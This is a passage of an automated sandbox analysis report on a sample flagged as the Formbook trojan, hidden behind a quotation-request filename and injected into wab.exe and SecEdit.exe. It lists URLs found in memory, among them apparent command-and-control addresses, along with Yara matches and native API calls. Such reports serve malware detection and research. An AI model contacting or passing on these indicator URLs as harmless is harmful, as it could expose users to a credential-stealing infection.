6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 2

Source: SecEdit.exe, 0000000C.00000002.3793502568.00000000047D6000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.0000000004176000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://aceautocorp.com/9og3/?bFGXGTdX=ZBkskPBELyIjvtDi08MWm9rbu3iLorcPFzn2FRxS1jOC36b61Sx96mOK
Source: SecEdit.exe, 0000000C.00000002.3793502568.0000000003FFC000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.000000000399C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://drivemktg.co/6iyv/?bFGXGTdX=QUgjltNnPM7fQ1
Source: sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.000000000380A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://pacopodcast.nl/sid8/?bFGXGTdX=cgqWRxBHisZEfk4b7YR89gpEuwk5o8UHHlGjArh/bwghFTR5hpE/
Source: Amcache.hve.8.dr	String found in binary or memory: http://upx.sf.net
Source: sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3795206841.0000000005411000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.cr-pos.com
Source: sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3795206841.0000000005411000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.cr-pos.com/o1v8/
Source: SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SecEdit.exe, 0000000C.00000002.3793502568.0000000003CD8000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.0000000003678000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/gsap/3.1.1/gsap.min.js
Source: SecEdit.exe, 0000000C.00000002.3793502568.0000000003CD8000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.0000000003678000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: SecEdit.exe, 0000000C.00000002.3793502568.0000000003CD8000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.0000000003678000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css
Source: SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SecEdit.exe, 0000000C.00000002.3791538876.0000000002BC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: SecEdit.exe, 0000000C.00000002.3791538876.0000000002BC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: SecEdit.exe, 0000000C.00000002.3791538876.0000000002BC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: SecEdit.exe, 0000000C.00000002.3791538876.0000000002BC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033yu1SPS
Source: SecEdit.exe, 0000000C.00000002.3791538876.0000000002B9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: SecEdit.exe, 0000000C.00000002.3791538876.0000000002BC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: SecEdit.exe, 0000000C.00000002.3791538876.0000000002B9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: SecEdit.exe, 0000000C.00000003.1778792851.0000000007907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: SecEdit.exe, 0000000C.00000002.3793502568.0000000003B46000.00000004.10000000.00040000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3795835777.0000000005EE0000.00000004.00000800.00020000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.00000000034E6000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000013.00000002.1886634795.000000001FF56000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://whois.gandi.net/en/results?search=goodgiftguru.com
Source: SecEdit.exe, 0000000C.00000002.3795946825.0000000007992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SecEdit.exe, 0000000C.00000002.3793502568.0000000003B46000.00000004.10000000.00040000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3795835777.0000000005EE0000.00000004.00000800.00020000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.00000000034E6000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000013.00000002.1886634795.000000001FF56000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.gandi.net/en/domain

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 4.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.wab.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1543223916.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3791309968.0000000002A30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3795206841.00000000053A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1542801016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3791449632.0000000002A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3790655186.0000000000570000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3792934989.0000000004160000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1543864387.0000000004D40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 4.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 4.2.wab.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.1543223916.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3791309968.0000000002A30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.3795206841.00000000053A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.1542801016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3791449632.0000000002A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3790655186.0000000000570000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.3792934989.0000000004160000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.1543864387.0000000004D40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0042B143 NtClose,	4_2_0042B143
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036635C0 NtCreateMutant,LdrInitializeThunk,	4_2_036635C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662B60 NtClose,LdrInitializeThunk,	4_2_03662B60
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_03662DF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_03662C70
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03664340 NtSetContextThread,	4_2_03664340
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03663010 NtOpenDirectoryObject,	4_2_03663010
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03663090 NtSetValueKey,	4_2_03663090
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03664650 NtSuspendThread,	4_2_03664650
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662BE0 NtQueryValueKey,	4_2_03662BE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662BF0 NtAllocateVirtualMemory,	4_2_03662BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662BA0 NtEnumerateValueKey,	4_2_03662BA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662B80 NtQueryInformationFile,	4_2_03662B80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662AF0 NtWriteFile,	4_2_03662AF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662AD0 NtReadFile,	4_2_03662AD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662AB0 NtWaitForSingleObject,	4_2_03662AB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036639B0 NtGetContextThread,	4_2_036639B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662F60 NtCreateProcessEx,	4_2_03662F60
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662F30 NtCreateSection,	4_2_03662F30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662FE0 NtCreateFile,	4_2_03662FE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662FA0 NtQuerySection,	4_2_03662FA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662FB0 NtResumeThread,	4_2_03662FB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662F90 NtProtectVirtualMemory,	4_2_03662F90
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662E30 NtWriteVirtualMemory,	4_2_03662E30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662EE0 NtQueueApcThread,	4_2_03662EE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662EA0 NtAdjustPrivilegesToken,	4_2_03662EA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662E80 NtReadVirtualMemory,	4_2_03662E80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03663D70 NtOpenThread,	4_2_03663D70
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662D30 NtUnmapViewOfSection,	4_2_03662D30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662D00 NtSetInformationFile,	4_2_03662D00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662D10 NtMapViewOfSection,	4_2_03662D10
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03663D10 NtOpenProcessToken,	4_2_03663D10
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662DD0 NtDelayExecution,	4_2_03662DD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662DB0 NtEnumerateKey,	4_2_03662DB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662C60 NtCreateKey,	4_2_03662C60
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662C00 NtQueryInformationProcess,	4_2_03662C00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662CF0 NtOpenProcess,	4_2_03662CF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662CC0 NtQueryVirtualMemory,	4_2_03662CC0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662CA0 NtQueryInformationToken,	4_2_03662CA0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03014340 NtSetContextThread,LdrInitializeThunk,	12_2_03014340
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03013090 NtSetValueKey,LdrInitializeThunk,	12_2_03013090
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03014650 NtSuspendThread,LdrInitializeThunk,	12_2_03014650
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_030135C0 NtCreateMutant,LdrInitializeThunk,	12_2_030135C0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012B60 NtClose,LdrInitializeThunk,	12_2_03012B60
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012BA0 NtEnumerateValueKey,LdrInitializeThunk,	12_2_03012BA0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012BE0 NtQueryValueKey,LdrInitializeThunk,	12_2_03012BE0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	12_2_03012BF0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012AD0 NtReadFile,LdrInitializeThunk,	12_2_03012AD0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012AF0 NtWriteFile,LdrInitializeThunk,	12_2_03012AF0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_030139B0 NtGetContextThread,LdrInitializeThunk,	12_2_030139B0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012F30 NtCreateSection,LdrInitializeThunk,	12_2_03012F30
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012FB0 NtResumeThread,LdrInitializeThunk,	12_2_03012FB0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012FE0 NtCreateFile,LdrInitializeThunk,	12_2_03012FE0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012E80 NtReadVirtualMemory,LdrInitializeThunk,	12_2_03012E80
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012EE0 NtQueueApcThread,LdrInitializeThunk,	12_2_03012EE0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012D10 NtMapViewOfSection,LdrInitializeThunk,	12_2_03012D10
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012D30 NtUnmapViewOfSection,LdrInitializeThunk,	12_2_03012D30
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012DD0 NtDelayExecution,LdrInitializeThunk,	12_2_03012DD0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012DF0 NtQuerySystemInformation,LdrInitializeThunk,	12_2_03012DF0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012C60 NtCreateKey,LdrInitializeThunk,	12_2_03012C60
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012C70 NtFreeVirtualMemory,LdrInitializeThunk,	12_2_03012C70
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012CA0 NtQueryInformationToken,LdrInitializeThunk,	12_2_03012CA0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03013010 NtOpenDirectoryObject,	12_2_03013010
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012B80 NtQueryInformationFile,	12_2_03012B80
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012AB0 NtWaitForSingleObject,	12_2_03012AB0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012F60 NtCreateProcessEx,	12_2_03012F60
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012F90 NtProtectVirtualMemory,	12_2_03012F90
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012FA0 NtQuerySection,	12_2_03012FA0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012E30 NtWriteVirtualMemory,	12_2_03012E30
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012EA0 NtAdjustPrivilegesToken,	12_2_03012EA0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012D00 NtSetInformationFile,	12_2_03012D00
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03013D10 NtOpenProcessToken,	12_2_03013D10
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03013D70 NtOpenThread,	12_2_03013D70
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012DB0 NtEnumerateKey,	12_2_03012DB0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012C00 NtQueryInformationProcess,	12_2_03012C00
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012CC0 NtQueryVirtualMemory,	12_2_03012CC0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03012CF0 NtOpenProcess,	12_2_03012CF0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_00597B70 NtCreateFile,	12_2_00597B70
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_00597CD0 NtReadFile,	12_2_00597CD0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_00597DC0 NtDeleteFile,	12_2_00597DC0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_00597E60 NtClose,	12_2_00597E60
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_00597FB0 NtAllocateVirtualMemory,	12_2_00597FB0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02DFCC94 NtReadVirtualMemory,	12_2_02DFCC94
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02DFD20F NtMapViewOfSection,	12_2_02DFD20F

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Code function: 0_2_00007FF7C02471FB	0_2_00007FF7C02471FB
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Code function: 0_2_00007FF7C0236AC0	0_2_00007FF7C0236AC0
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Code function: 0_2_00007FF7C0236C85	0_2_00007FF7C0236C85
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Code function: 0_2_00007FF7C023E591	0_2_00007FF7C023E591
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Code function: 0_2_00007FF7C023B708	0_2_00007FF7C023B708
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Code function: 0_2_00007FF7C0240FF9	0_2_00007FF7C0240FF9
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Code function: 0_2_00007FF7C023E109	0_2_00007FF7C023E109
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Code function: 0_2_00007FF7C0246A79	0_2_00007FF7C0246A79
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Code function: 0_2_00007FF7C02428AF	0_2_00007FF7C02428AF
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Code function: 0_2_00007FF7C0320000	0_2_00007FF7C0320000
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_00403060	4_2_00403060
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_00401000	4_2_00401000
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_00402460	4_2_00402460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0040FC1C	4_2_0040FC1C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0040FC23	4_2_0040FC23
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_00404484	4_2_00404484
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0042D573	4_2_0042D573
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_004165A3	4_2_004165A3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0040FE43	4_2_0040FE43
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0040DEC3	4_2_0040DEC3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_004026B0	4_2_004026B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0040DEBA	4_2_0040DEBA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361D34C	4_2_0361D34C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036EA352	4_2_036EA352
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E132D	4_2_036E132D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F03E6	4_2_036F03E6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363E3F0	4_2_0363E3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0367739A	4_2_0367739A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364B2C0	4_2_0364B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036352A0	4_2_036352A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036FB16B	4_2_036FB16B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0366516C	4_2_0366516C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B8158	4_2_036B8158
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03620100	4_2_03620100
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036CA118	4_2_036CA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E81CC	4_2_036E81CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F01AA	4_2_036F01AA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363B1B0	4_2_0363B1B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E70E9	4_2_036E70E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036EF0E0	4_2_036EF0E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DF0CC	4_2_036DF0CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770	4_2_03630770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03654750	4_2_03654750
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036217EC	4_2_036217EC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362C7C0	4_2_0362C7C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036EF7B0	4_2_036EF7B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364C6E0	4_2_0364C6E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E16CC	4_2_036E16CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E7571	4_2_036E7571
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630535	4_2_03630535
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036CD5B0	4_2_036CD5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F0591	4_2_036F0591
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03621460	4_2_03621460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E2446	4_2_036E2446
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036EF43F	4_2_036EF43F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DE4F6	4_2_036DE4F6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036EFB76	4_2_036EFB76
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A5BF0	4_2_036A5BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0366DBF9	4_2_0366DBF9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E6BD7	4_2_036E6BD7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364FB80	4_2_0364FB80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A3A6C	4_2_036A3A6C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036EFA49	4_2_036EFA49
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E7A46	4_2_036E7A46
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DDAC6	4_2_036DDAC6
